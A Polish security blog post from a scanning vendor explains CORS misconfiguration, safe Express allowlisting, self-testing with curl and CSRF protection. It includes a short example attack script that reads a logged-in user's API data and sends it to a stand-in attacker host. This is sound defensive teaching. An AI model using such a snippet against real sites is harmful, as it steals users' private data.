← Powrót do bloga
BezpieczeństwoScanaris Team · 5 min czytania · October 04, 2026

Źle skonfigurowany CORS: cicha luka, która odsłania dane twoich użytkowników

Budujesz aplikację, przeglądarka wyrzuca czerwony błąd CORS, szukasz na forum albo pytasz AI i kopiujesz rozwiązanie, które obiecuje, że wszystko zadziała. Zwykle jest najgorsze z możliwych. Ten poradnik wyjaśnia, czym naprawdę jest CORS, co chroni, a czego nie, jaki dokładnie błąd wystawia dane Twoich użytkowników na dostęp z dowolnej strony, jak go dobrze skonfigurować kodem i jak sprawdzić go z zewnątrz.

Czym CORS jest naprawdę

Domyślnie przeglądarka nie pozwala stronie na strona-a.com odczytać odpowiedzi API na strona-b.com. To polityka tego samego pochodzenia, a pochodzenie (origin) to połączenie protokołu, domeny i portu: https://app.przyklad.pl i https://api.przyklad.pl to różne originy. Ta polityka chroni Twoich użytkowników: nie pozwala złośliwej karcie czytać danych z innej strony, na której są zalogowani.

CORS (Cross-Origin Resource Sharing) to mechanizm, którym Twój serwer celowo rozluźnia tę regułę: nagłówkiem Access-Control-Allow-Origin mówi przeglądarce „temu konkretnemu originowi pozwalam odczytać odpowiedź". Przy żądaniach, które nie są proste (PUT, ciało JSON, nagłówek Authorization), przeglądarka najpierw wysyła żądanie OPTIONS na próbę, czyli preflight, i kontynuuje tylko wtedy, gdy odpowiedź na to pozwala.

Czego CORS nie chroni

Warto mieć to jasne, zanim go skonfigurujesz. CORS to reguła, której przestrzegają przeglądarki, a nie kontrola dostępu do Twojego API. Atakujący z curl, skrypt na serwerze czy aplikacja mobilna nie podlegają CORS: widzą wszystko, co Twoje API zwraca bez sesji. Jeśli endpoint wydaje dane bez sprawdzenia, kto pyta, CORS tego nie naprawi; naprawia to uwierzytelnianie. CORS chroni jedną bardzo konkretną rzecz: żeby inna strona nie użyła przeglądarki Twojego użytkownika, z jego ciasteczkami, do czytania prywatnych danych w jego imieniu.

Błąd, który psuje wszystko

Niebezpieczny wzorzec to odbijanie dowolnego przychodzącego originu i do tego zezwalanie na poświadczenia:

  • Access-Control-Allow-Origin z wartością originu, który pyta, jakikolwiek by był (dynamiczne odbicie), oraz
  • Access-Control-Allow-Credentials: true.

Z takim połączeniem każda strona, którą odwiedzi Twój użytkownik, może wysyłać żądania do Twojego API z ciasteczkami sesji użytkownika i czytać odpowiedź. Atak mieści się w trzech linijkach na stronie atakującego:

fetch('https://api.twojadomena.pl/me', { credentials: 'include' })
  .then(r => r.json())
  .then(dane => fetch('https://atakujacy.example/zbierz', { method: 'POST', body: JSON.stringify(dane) }))

Użytkownik nic nie widzi: po prostu otworzył stronę. Gwiazdka * jest mniej groźna, bo przeglądarka odmawia łączenia jej z poświadczeniami, ale w API z prywatnymi danymi też nie ma czego szukać.

Drogi, którymi ten błąd trafia do kodu, są zwykle niewinne: w Expressie cors({ origin: true, credentials: true }) odbija dowolny origin; niechlujne wyrażenie regularne jak /twojadomena.pl$/ akceptuje evil-twojadomena.pl; lista zawierająca null dopuszcza strony otwarte z plików lokalnych i izolowanych iframe'ów; a „pozwól na wszystko w developmencie" ląduje na produkcji.

Jak skonfigurować to dobrze

Myśl o obronie, nie o wygodzie. Trzymaj zamkniętą listę originów, porównuj dokładnie i zwracaj nagłówek tylko przy dopasowaniu. W Expressie:

const ALLOWED = new Set([
  'https://app.twojadomena.pl',
  'https://twojadomena.pl',
])

app.use((req, res, next) => {
  const origin = req.headers.origin
  if (origin && ALLOWED.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin)
    res.setHeader('Vary', 'Origin')
    res.setHeader('Access-Control-Allow-Credentials', 'true')
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
    res.setHeader('Access-Control-Max-Age', '600')
  }
  if (req.method === 'OPTIONS') return res.sendStatus(204)
  next()
})

Cztery szczegóły, które się liczą. Vary: Origin zapobiega temu, by CDN zapisał w cache odpowiedź dla jednego originu i podał ją innemu. Allow-Credentials tylko wtedy, gdy naprawdę używasz ciasteczek między originami; jeśli Twoje API i aplikacja żyją na tej samej domenie, CORS nie jest Ci nawet potrzebny. Ogranicz metody i nagłówki do tych, których używasz. I odpowiadaj na OPTIONS kodem 204 bez wykonywania logiki biznesowej.

W Next.js ten sam kod żyje w middleware albo w każdym route handlerze; w Nuxt w routeRules albo w middleware serwerowym. Jeśli używasz Supabase lub Firebase bezpośrednio z przeglądarki, CORS obsługują one same, a prawdziwą barierą są reguły bazy danych, nie ten nagłówek.

Publiczne API mogą używać gwiazdki

Jeśli Twoje API serwuje dane naprawdę publiczne (cennik, katalog) i nie używa ciasteczek, Access-Control-Allow-Origin: * jest uzasadnione i ułatwia życie tym, którzy z niego korzystają. Zasada brzmi: nigdy nie mieszaj gwiazdki ani odbicia z danymi, które zależą od sesji użytkownika.

Dlaczego trudno to wykryć

Ta luka jest cicha: wszystko działa, nie ma widocznego błędu, a aplikacja wygląda zdrowo. Zauważasz ją dopiero, gdy ktoś ją wykorzysta, a nawet wtedy nie zostawia wyraźnego śladu w logach, bo żądania przychodzą z ważną sesją. Dlatego warto jawnie sprawdzać konfigurację CORS przy każdym wdrożeniu, zamiast ufać, że „skoro nie ma błędu, jest dobrze".

Jak sprawdzić to samodzielnie

Odpytaj prywatny endpoint swojego API, udając, że przychodzisz z innej strony, i spójrz na nagłówki, które wracają:

curl -s -I -H "Origin: https://evil.example" https://api.twojadomena.pl/me | grep -i access-control

Jeśli odpowiedź zwraca Access-Control-Allow-Origin: https://evil.example razem z Access-Control-Allow-Credentials: true, masz problem. Jeśli dla nieznanego originu nie zwraca żadnego nagłówka CORS, jest dobrze. Powtórz z Origin: null i z wymyśloną subdomeną własnej domeny.

CORS nie zastępuje ochrony przed CSRF

Atakujący nie musi czytać odpowiedzi, żeby wyrządzić szkodę: wystarczy, że żądanie się wykona (na przykład POST zmieniający e-mail konta). Temu zapobiegają ciasteczka z SameSite=Lax lub Strict oraz, w wrażliwych formularzach, token anty-CSRF. CORS i SameSite to dwie różne warstwy; warto mieć obie.

Sprawdź swój CORS ze Scanaris

Scanaris sprawdza w trybie tylko do odczytu, jak Twoja strona odpowiada na żądania z nieznanych originów: czy odbija origin, czy pozwala na poświadczenia i czy łączy gwiazdkę z ciasteczkami. Nie przeprowadza ataków ani nie dotyka Twoich danych: tylko obserwuje publiczną odpowiedź, tak jak polecenie powyżej. Jeśli znajdzie niebezpieczną konfigurację, daje Ci fix prompt, żeby Twoje AI przepisało ją z zamkniętą listą. To jedna z kontroli z checklisty startowej; pozostałe elementy, łącznie z nagłówkami, są w poradniku o nagłówkach bezpieczeństwa.

Najczęściej zadawane pytania

Dlaczego lokalnie mam błąd CORS, a na produkcji nie?

Bo lokalnie frontend działa na localhost:3000, a API na innym porcie: to różne originy. Na produkcji zwykle dzielą domenę. Dodaj origin deweloperski do listy tylko w środowisku deweloperskim; nigdy nie odbijaj wszystkiego, żeby „pozbyć się błędu".

Czy mogę podać kilka originów w Access-Control-Allow-Origin?

Nie, nagłówek przyjmuje jedną wartość. Dlatego porównuje się przychodzący origin z listą i zwraca tylko ten jeden, z Vary: Origin.

Czy przeglądarka mobilna albo rozszerzenie mogą obejść CORS?

Aplikacje natywne i skrypty serwerowe nie podlegają CORS; rozszerzenia mają własne uprawnienia. CORS chroni użytkownika w jego zwykłej przeglądarce, tam gdzie są jego ciasteczka. Resztę chroni uwierzytelnianie Twojego API.

Jak radzi sobie twoja strona?

Pozwól Scanaris ją sprawdzić w 30 sekund, za darmo.

Przeskanuj moją stronę

Powiązane testy